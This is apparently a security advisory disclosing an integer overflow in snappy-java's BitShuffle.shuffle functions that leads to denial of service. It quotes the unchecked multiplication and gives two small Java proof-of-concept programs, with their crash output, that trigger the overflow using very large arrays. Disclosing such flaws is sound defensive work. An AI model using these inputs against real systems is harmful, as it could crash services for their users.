CGA-8pqj-995r-975g

Summary

snappy-java's Integer Overflow vulnerability in shuffle leads to DoS

Description

Summary

Due to unchecked multiplications, an integer overflow may occur, causing a fatal error.

Impact

Denial of Service

Description

The function shuffle(int[] input) in the file BitShuffle.java receives an array of integers and applies a bit shuffle on it. It does so by multiplying the length by 4 and passing it to the natively compiled shuffle function.

public static byte[] shuffle(int[] input) throws IOException {
        byte[] output = new byte[input.length * 4];
        int numProcessed = impl.shuffle(input, 0, 4, input.length * 4, output, 0);
        assert(numProcessed == input.length * 4);
        return output;
    }

Since the length is not tested, the multiplication by four can cause an integer overflow and become a smaller value than the true size, or even zero or negative. In the case of a negative value, a “java.lang.NegativeArraySizeException” exception will raise, which can crash the program. In a case of a value that is zero or too small, the code that afterwards references the shuffled array will assume a bigger size of the array, which might cause exceptions such as “java.lang.ArrayIndexOutOfBoundsException”. The same issue exists also when using the “shuffle” functions that receive a double, float, long and short, each using a different multiplier that may cause the same issue.

Steps To Reproduce

Compile and run the following code:

package org.example;
import org.xerial.snappy.BitShuffle;

import java.io.*;


public class Main {

    public static void main(String[] args) throws IOException {
        int[] original = new int[0x40000000];
        byte[] shuffled = BitShuffle.shuffle(original);
        System.out.println(shuffled[0]);
    }
}

The program will crash, showing the following error (or similar):

Exception in thread "main" java.lang.ArrayIndexOutOfBoundsException: Index 0 out of bounds for length 0
	at org.example.Main.main(Main.java:12)

Process finished with exit code 1

Alternatively - compile and run the following code:

package org.example;
import org.xerial.snappy.BitShuffle;

import java.io.*;


public class Main {

    public static void main(String[] args) throws IOException {
        int[] original = new int[0x20000000];
        byte[] shuffled = BitShuffle.shuffle(original);
    }
}

The program will crash with the following error (or similar):

Exception in thread "main" java.lang.NegativeArraySizeException: -2147483648
	at org.xerial.snappy.BitShuffle.shuffle(BitShuffle.java:108)
	at org.example.Main.main(Main.java:11)